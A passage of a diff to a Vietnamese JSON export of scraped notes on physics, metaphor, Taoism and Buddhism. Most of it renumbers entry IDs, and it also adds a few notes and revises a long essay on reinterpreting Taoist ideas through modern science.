vault", "Ngày tạo": "2024-08-06T11:16:00.000Z", "Ngày cập nhật": "2024-08-31T18:34:00.000Z", - "id": "e_" + "id": "iq" }, { "Tiêu đề": "Tranh luận người thép", @@ -42314,7 +45941,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T17:56:00.000Z", "Ngày cập nhật": "2024-08-11T17:56:00.000Z", - "id": "f0" + "id": "ir" }, { "Tiêu đề": "Ham muốn và chấp có thể xem là một", @@ -42330,7 +45957,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-31T18:07:00.000Z", "Ngày cập nhật": "2024-09-02T06:13:00.000Z", - "id": "f1" + "id": "is" }, { "Tiêu đề": "Tính dẻo thần kinh, ẩn dụ, và thiên địa nhân tam hợp", @@ -42346,7 +45973,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-31T18:33:00.000Z", - "id": "f2" + "id": "it" }, { "Tiêu đề": "Vô vi là một ẩn dụ", @@ -42362,7 +45989,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-31T18:37:00.000Z", "Ngày cập nhật": "2024-08-31T18:53:00.000Z", - "id": "f3" + "id": "iu" }, { "Tiêu đề": "❓Sự chánh niệm sâu bản chất là hạn chế kích thích tâm lý càng nhiều càng tốt", @@ -42378,7 +46005,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:36:00.000Z", "Ngày cập nhật": "2024-08-31T18:33:00.000Z", - "id": "f4" + "id": "iv" }, { "Tiêu đề": "❓Bản ngã (self) và tinh thần có cùng bản chất", @@ -42394,7 +46021,21 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:12:00.000Z", "Ngày cập nhật": "2024-08-11T15:02:00.000Z", - "id": "f5" + "id": "iw" + }, + { + "Tiêu đề": "❓Lựa chọn là sự tối ưu hoá", + "URL": "https://vậtlý.quảcầu.cc/⚡Hiểu biết sâu/Triết học/Triết học tinh thần/❓Lựa chọn là sự tối ưu hoá", + "Kho thông tin": "Vật lý và ẩn dụ liên ngành", + "Dự án": { + "Mã dự án": "G1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: [[Lựa chọn]], [[Tối ưu hoá]]\n\nNguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "id": "ix" }, { "Tiêu đề": "❓Bản chất của mối quan tâm là xu hướng tăng số lượng cộng hưởng của các dao động tử trong cơ thể", @@ -42410,7 +46051,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:29:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "f6" + "id": "iy" }, { "Tiêu đề": "❓Kích thích sinh lý là sự cộng hưởng của các dao động tử", @@ -42426,7 +46067,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:23:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "f7" + "id": "iz" }, { "Tiêu đề": "❓Sự khác biệt giữa metaphor circular và vật lý luận là gì", @@ -42442,7 +46083,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T13:03:00.000Z", "Ngày cập nhật": "2024-08-11T14:52:00.000Z", - "id": "f8" + "id": "i-" }, { "Tiêu đề": "Động học niềm tin", @@ -42458,7 +46099,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-05T16:32:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "f9" + "id": "i_" }, { "Tiêu đề": "Kích thích năng lượng chính là sự cộng hưởng của dao động tử điều hoà", @@ -42474,7 +46115,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:37:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fA" + "id": "j0" }, { "Tiêu đề": "Entropy không chỉ phải nhiều hơn, mà còn là nhiều hơn nhất", @@ -42490,7 +46131,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-04T07:51:00.000Z", "Ngày cập nhật": "2024-08-11T15:00:00.000Z", - "id": "fB" + "id": "j1" }, { "Tiêu đề": "Entropy thống kê và entropy thông tin là một", @@ -42506,7 +46147,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T14:59:00.000Z", "Ngày cập nhật": "2024-08-11T14:59:00.000Z", - "id": "fC" + "id": "j2" }, { "Tiêu đề": "Maximum Entropy is a Foundation for Complexity Science", @@ -42522,7 +46163,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-10T17:43:00.000Z", "Ngày cập nhật": "2024-08-11T11:30:00.000Z", - "id": "fD" + "id": "j3" }, { "Tiêu đề": "❓Sự tự sao là sự cộng hưởng của các dao động tử", @@ -42538,7 +46179,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T18:54:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fE" + "id": "j4" }, { "Tiêu đề": "Năng lượng cũng không tự sinh ra cũng không tự mất đi, mà chỉ chuyển từ dạng này sang dạng khác", @@ -42554,7 +46195,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T09:21:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fF" + "id": "j5" }, { "Tiêu đề": "Vật lý làm việc với dao động tử điều hòa ở các cấp độ càng ngày càng trừu tượng hơn", @@ -42570,7 +46211,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T18:53:00.000Z", "Ngày cập nhật": "2024-08-11T11:28:00.000Z", - "id": "fG" + "id": "j6" }, { "Tiêu đề": "❓Có thể miêu tả nguyên lý tăng entropy và nguyên lý tác dụng tối thiểu qua dao động tử điều hoà", @@ -42586,7 +46227,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:01:00.000Z", "Ngày cập nhật": "2024-08-12T11:12:00.000Z", - "id": "fH" + "id": "j7" }, { "Tiêu đề": "❓Mối liên hệ giữa dao động tử điều hoà và quả cầu Riemann", @@ -42602,7 +46243,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-04T07:44:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fI" + "id": "j8" }, { "Tiêu đề": "❓Mối quan hệ giữa nguyên lý tác dụng tối thiểu và sự tối ưu hoá", @@ -42618,7 +46259,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T14:48:00.000Z", "Ngày cập nhật": "2024-08-11T14:50:00.000Z", - "id": "fJ" + "id": "j9" }, { "Tiêu đề": "❓Trường vector biểu diễn dưới dạng dao động tử thế nào", @@ -42634,7 +46275,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-06T16:44:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fK" + "id": "jA" }, { "Tiêu đề": "Crackpot", @@ -42650,7 +46291,21 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T09:22:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fL" + "id": "jB" + }, + { + "Tiêu đề": "Lựa chọn", + "URL": "https://vậtlý.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Lựa chọn", + "Kho thông tin": "Vật lý và ẩn dụ liên ngành", + "Dự án": { + "Mã dự án": "G1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nWHERE contains(khái-niệm, [[]])\r\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "id": "jC" }, { "Tiêu đề": "Chú ý", @@ -42666,7 +46321,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:00:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fM" + "id": "jD" }, { "Tiêu đề": "Hành vi", @@ -42682,7 +46337,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:01:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fN" + "id": "jE" }, { "Tiêu đề": "Kích thích sinh lý", @@ -42698,7 +46353,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:01:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fO" + "id": "jF" }, { "Tiêu đề": "Kích thích tâm lý", @@ -42714,7 +46369,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:00:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fP" + "id": "jG" }, { "Tiêu đề": "Kích thích", @@ -42730,7 +46385,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:01:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fQ" + "id": "jH" }, { "Tiêu đề": "Môi trường", @@ -42746,7 +46401,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:01:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fR" + "id": "jI" }, { "Tiêu đề": "Nhận thức", @@ -42762,7 +46417,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:59:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fS" + "id": "jJ" }, { "Tiêu đề": "Thích nghi", @@ -42778,7 +46433,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T11:24:00.000Z", "Ngày cập nhật": "2024-08-11T14:50:00.000Z", - "id": "fT" + "id": "jK" }, { "Tiêu đề": "Tiến hoá", @@ -42794,7 +46449,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T14:49:00.000Z", "Ngày cập nhật": "2024-08-11T14:50:00.000Z", - "id": "fU" + "id": "jL" }, { "Tiêu đề": "Tự sao", @@ -42810,7 +46465,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:59:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fV" + "id": "jM" }, { "Tiêu đề": "Bản ngã", @@ -42826,7 +46481,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:03:00.000Z", "Ngày cập nhật": "2024-08-11T14:51:00.000Z", - "id": "fW" + "id": "jN" }, { "Tiêu đề": "Deleuze", @@ -42842,7 +46497,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T09:35:00.000Z", "Ngày cập nhật": "2024-08-11T14:51:00.000Z", - "id": "fX" + "id": "jO" }, { "Tiêu đề": "Ham muốn", @@ -42858,7 +46513,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-09-01T06:48:00.000Z", "Ngày cập nhật": "2024-09-01T06:48:00.000Z", - "id": "fY" + "id": "jP" }, { "Tiêu đề": "Mối quan tâm", @@ -42874,7 +46529,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T20:03:00.000Z", "Ngày cập nhật": "2024-08-11T14:51:00.000Z", - "id": "fZ" + "id": "jQ" }, { "Tiêu đề": "Nhu cầu", @@ -42890,7 +46545,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-31T18:07:00.000Z", "Ngày cập nhật": "2024-09-01T06:48:00.000Z", - "id": "fa" + "id": "jR" }, { "Tiêu đề": "Tự phát", @@ -42906,7 +46561,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-31T18:39:00.000Z", "Ngày cập nhật": "2024-08-31T18:39:00.000Z", - "id": "fb" + "id": "jS" }, { "Tiêu đề": "Dao động tử", @@ -42922,7 +46577,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-04T07:46:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fc" + "id": "jT" }, { "Tiêu đề": "Entropy", @@ -42938,7 +46593,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-04T07:53:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fd" + "id": "jU" }, { "Tiêu đề": "Nhóm đối xứng", @@ -42954,7 +46609,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T09:33:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fe" + "id": "jV" }, { "Tiêu đề": "Trường", @@ -42970,7 +46625,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T09:33:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "ff" + "id": "jW" }, { "Tiêu đề": "Tác dụng", @@ -42986,7 +46641,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T09:34:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fg" + "id": "jX" }, { "Tiêu đề": "Tối ưu hoá", @@ -43002,7 +46657,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T19:59:00.000Z", "Ngày cập nhật": "2024-08-11T14:50:00.000Z", - "id": "fh" + "id": "jY" }, { "Tiêu đề": "Vật lý luận", @@ -43018,7 +46673,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T14:52:00.000Z", "Ngày cập nhật": "2024-08-11T14:52:00.000Z", - "id": "fi" + "id": "jZ" }, { "Tiêu đề": "Ẩn dụ", @@ -43034,7 +46689,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-12T07:06:00.000Z", "Ngày cập nhật": "2024-08-12T07:06:00.000Z", - "id": "fj" + "id": "ja" }, { "Tiêu đề": "Tự ngẫm nghĩ, trải nghiệm", @@ -43050,7 +46705,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T14:19:00.000Z", "Ngày cập nhật": "2024-08-31T18:07:00.000Z", - "id": "fk" + "id": "jb" }, { "Tiêu đề": "Chúng ta sống bằng ẩn dụ", @@ -43066,7 +46721,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T09:17:00.000Z", "Ngày cập nhật": "2024-08-12T07:09:00.000Z", - "id": "fl" + "id": "jc" }, { "Tiêu đề": "Các ẩn dụ tri nhận cơ bản dựa trên mối tương quan của cơ thể và xung quanh", @@ -43082,7 +46737,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fm" + "id": "jd" }, { "Tiêu đề": "Ẩn dụ là nền tảng của mọi suy nghĩ và lập luận", @@ -43098,7 +46753,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-12T07:09:00.000Z", - "id": "fn" + "id": "je" }, { "Tiêu đề": "Ẩn dụ tô đậm những tính chất chung và ẩn đi những tính chất không chung", @@ -43114,7 +46769,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-12T07:09:00.000Z", - "id": "fo" + "id": "jf" }, { "Tiêu đề": "Ẩn dụ được nhúng trong các neuron não. Chúng tồn tại dưới dạng vật lý", @@ -43130,11 +46785,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fp" + "id": "jg" }, { "Tiêu đề": "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", - "URL": "https://vậtlý.quảcầu.cc/📐 Dự án/Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn/Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", + "URL": "https://vậtlý.quảcầu.cc/📐 Dự án/Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", "Kho thông tin": "Vật lý và ẩn dụ liên ngành", "Dự án": { "Tên dự án": "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", @@ -43147,7 +46802,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-11T14:52:00.000Z", "Ngày cập nhật": "2024-08-11T14:53:00.000Z", - "id": "fq" + "id": "jh" }, { "Tiêu đề": "Sự tối ưu hoá", @@ -43164,7 +46819,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T13:37:00.000Z", "Ngày cập nhật": "2024-08-11T14:54:00.000Z", - "id": "fr" + "id": "ji" }, { "Tiêu đề": "Sự đối xứng", @@ -43181,7 +46836,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T13:37:00.000Z", "Ngày cập nhật": "2024-08-13T01:03:00.000Z", - "id": "fs" + "id": "jj" }, { "Tiêu đề": "Tính lỏng", @@ -43198,7 +46853,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T13:37:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "ft" + "id": "jk" }, { "Tiêu đề": "Điểm vô tận", @@ -43209,13 +46864,13 @@ "Mã dự án": "G1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "## ∞ = 0\n## Nietzsche: ∞ = chúa\n\nVì cái con người ở đường chân trời kia xa ta một khoảng cách là vô cực, nên họ chính là chúa của chúng ta. Và cũng vì chính ta nằm ở đường chân trời đối với họ, nên ta cũng chính là chúa của họ. Họ và ta là chúa của nhau.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T13:37:00.000Z", - "Ngày cập nhật": "2024-08-31T18:25:00.000Z", - "id": "fu" + "Ngày cập nhật": "2024-09-02T17:25:00.000Z", + "id": "jl" }, { "Tiêu đề": "Đường thẳng song song", @@ -43232,7 +46887,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T13:37:00.000Z", "Ngày cập nhật": "2024-08-11T11:08:00.000Z", - "id": "fv" + "id": "jm" }, { "Tiêu đề": "Thử xây dựng lại Đạo giáo từ khoa học hiện đại", @@ -43243,13 +46898,13 @@ "Mã dự án": "G1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Năm mầu khiến người mù mắt.\nNăm giọng khiến người điếc tai.\nNăm mùi khiến người tê lưỡi.\nSải ngựa săn bắn,\nKhiến lòng người hoá cuồng.\n\n(Lão Tử, Đạo Đức Kinh)\n\nMột trong những lý do quan trọng để tôi làm dự án Quả Cầu này là để làm rõ những quan điểm của Đạo giáo (và cả Phật giáo) theo kết quả khoa học.\n\nMột mặt, tôi thấy các kết luận của Đạo giáo như đoạn trích phía trên đều hợp lý và hay. Nhưng mặt khác, có vẻ như tiềm tàng trong đó có gì đó kiêu kiêu và ngụy biện. Nhiều người dùng những chỉ trích \"xưa như Trái đất\" để cho rằng khoa học không thể với tới thứ họ thấy, và điều đó làm họ không thấy được khoa học hiện nay đã làm được những gì và đi được những đâu (the state of the art of science). Sau mấy trăm nay như vậy mà vẫn cho rằng tư duy lý tính vẫn dậm chân tại chỗ thì tài thật. Trang Tử mà nghe được chắc phá ra cười vì họ không thấy rằng trong cái này đã có cái kia, cái này đi đến cùng sẽ hóa thành cái kia. Chỉ cần tinh ý một chút sẽ thấy những gì họ nói đều dựa trên những ý niệm khoa học đã nhìn ra từ lâu.\n\nNhưng làm sao lại có thể trách họ được, khi \"phe\" khoa học thậm chí còn chẳng trình ra cho họ thứ họ cần thấy? Rõ ràng, \"phe\" Đạo giáo vẫn có cái lý của họ, và với trình bày kiến thức như hiện nay, thì không thể trách họ cho rằng tư duy khoa học là vô ích. Làm sao lại có thể nói là họ kiêu kiêu và ngụy biện, khi mục đích của Đạo giáo là để hết kiêu kiêu và ngụy biện?\n\nTức là cả hai bên nhìn nhau, khó chịu với nhau, nhưng đều không thể chỉ ra được bên kia sai ở đâu. Họ càng tìm ra lỗi sai, thì lỗi sai đó đều biến đi thành một hình thù khác, một lối diễn đạt khác. Cứ như thế mà luẩn quẩn không tới đâu. Thứ duy nhất còn đọng lại là một sự không thỏa mãn không thể giải tỏa được.\n![[inner-child.jpg]]\n\nKhi tôi nói là dự án này làm rõ những quan điểm của Đạo giáo theo kết quả khoa học, có phải ý tôi là khoa học đã đủ khả năng để giải thích được toàn bộ? Tôi xin được phép nói là có. Tuy nhiên, để có thể giải thích một cách triệt để và thỏa mãn cả hai bên, thì cần phải chú ý vào những lĩnh vực mà thị trường sách phổ biến kiến thức khoa học hiện nay chưa chú trọng để giới thiệu. Mà nếu thị trường đó đại diện cho những gì người trong ngành muốn người ngoài ngành biết, thì nó cũng có thể xem như những gì người làm khoa học nghĩ về những gì họ đang làm. Nói cách khác, chính những người làm về nó cũng cần thay đổi tư duy của mình. Còn nếu không, thì dù có thêm vô số những cuộc \"đối thoại Đông - Tây\" nữa, tôi nghĩ cũng sẽ không đi được tới đâu cả. Phải nhấn mạnh đến sự ghi nhớ, chú ý, và biến đổi nghĩa của từ mới mong tìm được một đột phá nào đó.\n\nKiến thức về khoa học lạc hậu\n\nCứ dựa vào lý lẽ khó giải thích, trong khi nếu đã nói là nắm được nguyên lý thì việc giải thích có gì đâu mà khó.\n\nĐây là những bài viết thể hiện những tìm tòi của tôi để đi tới đột phá đó:\n\n- Tại sao \"đúng sai miễn bàn\" lại không Ăn ż là quan điểm của Đạo giáo?\n- Tại sao Đạo giáo lại đề cao sự học?\n- Khi đạo sĩ gặp rối loạn tâm lý\n- Rắc rối của từ bi\n- Tóm tắt cuốn Vô vi như là một ẩn dụ tri nhận và lý tưởng tinh thần thời Chiến Quốc\n- Phản biện cuốn Cuộc cách mạng một cọng rơm\n- Bài tiếng Anh: Connections between\n\n⬛ Về mặt triết học\n\n- Tâm lý học hoặc khoa học nhận thức sẽ nói gì về quan niệm \"chỉ có cảm nhận trực tiếp mới cho ta hiểu biết trọn vẹn\"?\n- Ngôn ngữ học sẽ nói gì về quan niệm \"ngôn ngữ không thể diễn đạt chính xác\"?\n- Khoa học chính trị sẽ nói gì về các quan điểm của đạo gia và pháp gia?\n- Logic học sẽ nói gì về tứ cú trong đại thừa?\n- Các trường phái triết học khác nhau nói gì về quy luật nhân quả? Về thuyết âm dương? Về thuyết nhất nguyên?\n- Thông diễn học sẽ nói gì về việc nhận biết, đánh giá xem một người có ngộ đạo/giác ngộ hay không?\n- Vật lý sẽ nói về sắc như thế nào?\n- Duy thức học và khoa học nhận thức giống và khác nhau thế nào?\n- Trường phái hậu hiện đại sẽ nói gì về phật giáo? Diễn ngôn giải thoát và giác ngộ hoạt động như thế nào?\n\n⬛ Về mặt thực hành\n\n- Có những cuộc đối thoại nào giữa những người theo nguyên thuỷ và những người theo đại thừa nào về mâu thuẫn giữa hai phái mà làm cho mình học hỏi được nhiều nhất?\n- Thiền trong thiền tông, thiền trong nguyên thủy giống và khác nhau thế nào? Chánh niệm của phật giáo và chánh niệm trong quan điểm của Jon Kabat-Zinn khác nhau thế nào?\n- So với các hình thức trị liệu tâm lý khác, việc tu tập có hiệu quả như thế nào trong việc chữa lành?\n- Nếu như việc sử dụng triết học phương Đông cũng tuỳ vào sự phù hợp thời điểm, thì thời điểm nào là nó không phù hợp?\n- Các tôn giáo khác như Công giáo học tập Phật giáo như thế nào?\n\nTôi nghĩ nếu họ cảm thấy khoa học không bao giờ, xin mời họ thử một ngày làm những công việc liên quan đến nhân đạo. Ví dụ: công tác xã hội\n\n# Tránh từ Hán Việt\n\nKhông dùng duyên, mà dùng điều kiện\n\nKhông dùng khổ, mà dùng không như ý\n\n8 điều đúng đắn\n\n4 sự thật\n\nĐại thừa và Nguyên thuỷ đều cùng muốn theo ý Phật tổ\n\nKhi nào một thứ là duyên. Khi nào một thứ không phải là duyên\n\nThiếu cọ xát\n\n| | | |\n|---|---|---|\n||Tiểu thừa|Đại thừa|\n|Quan điểm tu|Tu theo La hán: cứu giúp chúng sinh ko phải là trách nhiệm|Tu theo Bồ tát: có trách nhiệm|\n|Nơi tu|Xuất thế: Đi ra khỏi nơi dơ|Nhập thế: Ở trong nơi dơ mới là giác ngộ|\n|Luân hồi|Không luân hồi. Chết là hết|Ở trong thế gian, trong khổ đau để thoát khổ đau|\n||Phật là có thật, và chỉ có một|Nhiều Phật, nhiều Bồ Tát|\n||Không quan tâm đến thế giới mơ hồ||\n||Ngã không, pháp có|Ngã, pháp đều không|\n|Niết bàn|là cảnh giới tuyệt đối vắng lặng, giải thoát, không còn khổ đau|là cảnh giới hoạt động trong khổ đau mà lòng không nhiễu động|\n|Ẩm thực|Ai cho gì ăn nấy, miễn là bản thân mình ko giết thì ăn|Ăn chay trường (phát tâm với cả động vật)|\n\nHết thảy thực không phải thực\n\nCũng vừa là thực, cũng vừa không phải thực\n\nKhông phải thực, không phải không phải thực\n\nẤy gọi là Pháp của chư Phật\n\nCó hai mâu thuẫn chính: giữa phật giáo nguyên thuỷ với đại thừa, và trong thiền tông\n\nTùy nhiên những người thực hành đi một hồi sẽ thấy những gì Đạo gia nói là có lý\n\nAnh đang uống bia sang bia đang uống em vậy.\n\n[Buddhism, The only real science](https://www.budsas.org/ebud/ebdha264.htm), [Đạo Phật giàu tính khoa học hơn khoa học hiện đại](https://www.facebook.com/notes/m%E1%BB%97i-tu%E1%BA%A7n-1-c%C3%B4ng-vi%E1%BB%87c/%C4%91%E1%BA%A1o-ph%E1%BA%ADt-gi%C3%A0u-t%C3%ADnh-khoa-h%E1%BB%8Dc-h%C6%A1n-khoa-h%E1%BB%8Dc-hi%E1%BB%87n-%C4%91%E1%BA%A1i/703813189791426)\n\nRất mong nhận được sự quan tâm, nhận xét, giúp đỡ của mọi người.\n\nNgăn chặn bạo hành trẻ em\n\n(Mình nói lời này không phải với tư cách admin, mà chỉ là thành viên mà thôi.)\n\nNhiều bạn trong đây chắc sẽ cảm thấy lạ khi mình lập ra nhóm triết phương Đông mà tư duy lại sặc tính phương Tây. Chính xác, đây chính là điều các bạn đang căm ghét. Các bạn cho rằng tư duy Tây phương là lầm lạc, là lạc trong mê cung, thì yep, mình sẽ làm đúng như vậy. Mình cho rằng, các bạn thật ra chỉ đang sợ hãi bước vào mê cung mà thôi. Các bạn gọi tư duy của mình là gì cũng được: thiền, ngộ, đạo, v.v. Nếu các bạn quả thật có thiền, ngộ, đạo, thì tại sao mê cung lại khiến các bạn sợ đến như thế? Vì nếu các bạn không sợ mê cung và dám bước vào trong đó, thì các bạn cũng chẳng lấy làm phiền lòng khi người khác cũng ở trong mê cung.\n\nCác bạn muốn cảnh tỉnh về tác hại của tư duy phương Tây? Mình cũng thấy những tác hại của nó, và mình cũng đồng ý với các bạn về sự cảnh tỉnh này. Nhưng mình nói thật lòng thế này: cách các bạn làm sẽ không đi tới đâu. Các bạn muốn phê phán nó, thì ít nhất các bạn cũng phải hiểu nó nói gì về chính mình đã. Thứ các bạn mô tả về tư duy phương Tây, bản thân nó không mô tả mình như vậy. Với nó, thứ các bạn đang mô tả là hời hợt, thô sơ, nông cạn, méo mó. Nó không phải đồ ngu, và nó luôn luôn phản tư chính mình, luôn luôn phê phán chính mình. Chỉ cần một chút xíu xem thường nó thôi, thì chính các bạn đã trở thành nạn nhân của nó rồi. Các bạn phải luôn luôn xem trọng nó, như thể phương Đông và phương Tây ngang bằng nhau, như thể phương Đông và phương Tây là một. Chỉ có như thế, các bạn mới thoát khỏi được \"tư duy phương Tây\".\n\nTrong cuộc chiến giữa (một cuộc chiến mà tôi đến giờ vẫn không hiểu tại sao lại cí mặt, không biết \"phe\" nào đã khởi xướng nó), thì tư duy phương Tay chưa bao giờ làm tôi thất vọng Ngược lại, tôi thấy \"phe\" phương Đông như đang dựng một bù nhìn rơm rồi đấm lung tung vào đí\n\n- Những cách hiểu sai về Đạo, và bản chất của sự nhập nhằng đó (Đạo giáo và ngữ nghĩa học)\n- Mối tương tác của Đạo giáo với rối loạn tâm lý (Đạo giáo và tâm lý học trị liệu)\n- Bản chất của \"Đạo khả đạo phi thường đạo\" (và các quan niệm khác của Đạo giáo) là gì? (Đạo giáo và khoa học nhận thức", + "Toàn bộ nội dung": "*Năm mầu khiến người mù mắt.*\n*Năm giọng khiến người điếc tai.*\n*Năm mùi khiến người tê lưỡi.*\n*Sải ngựa săn bắn,*\n*Khiến lòng người hoá cuồng.*\n— Lão Tử, Đạo Đức Kinh\n\nMột trong những lý do quan trọng để tôi làm dự án Quả Cầu này là để làm rõ những quan điểm của Đạo giáo (và cả Phật giáo) theo kết quả khoa học.\n\nMột mặt, tôi thấy các kết luận của Đạo giáo như đoạn trích phía trên đều hợp lý và hay. Nhưng mặt khác, có vẻ như tiềm tàng trong đó có gì đó kiêu kiêu và ngụy biện. Nhiều người dùng những chỉ trích \"xưa như Trái đất\" để cho rằng khoa học không thể với tới thứ họ thấy, và điều đó làm họ không thấy được khoa học hiện nay đã làm được những gì và đi được những đâu (the state of the art of science). Sau mấy trăm nay như vậy mà vẫn cho rằng tư duy lý tính vẫn dậm chân tại chỗ thì tài thật. Trang Tử mà nghe được chắc phá ra cười vì họ không thấy rằng trong cái này đã có cái kia, cái này đi đến cùng sẽ hóa thành cái kia. Chỉ cần tinh ý một chút sẽ thấy những gì họ nói đều dựa trên những ý niệm khoa học đã nhìn ra từ lâu.\n\nNhưng làm sao lại có thể trách họ được, khi \"phe\" khoa học thậm chí còn chẳng trình ra cho họ thứ họ cần thấy? Rõ ràng, \"phe\" Đạo giáo vẫn có cái lý của họ, và với trình bày kiến thức như hiện nay, thì không thể trách họ cho rằng tư duy khoa học là vô ích. Làm sao lại có 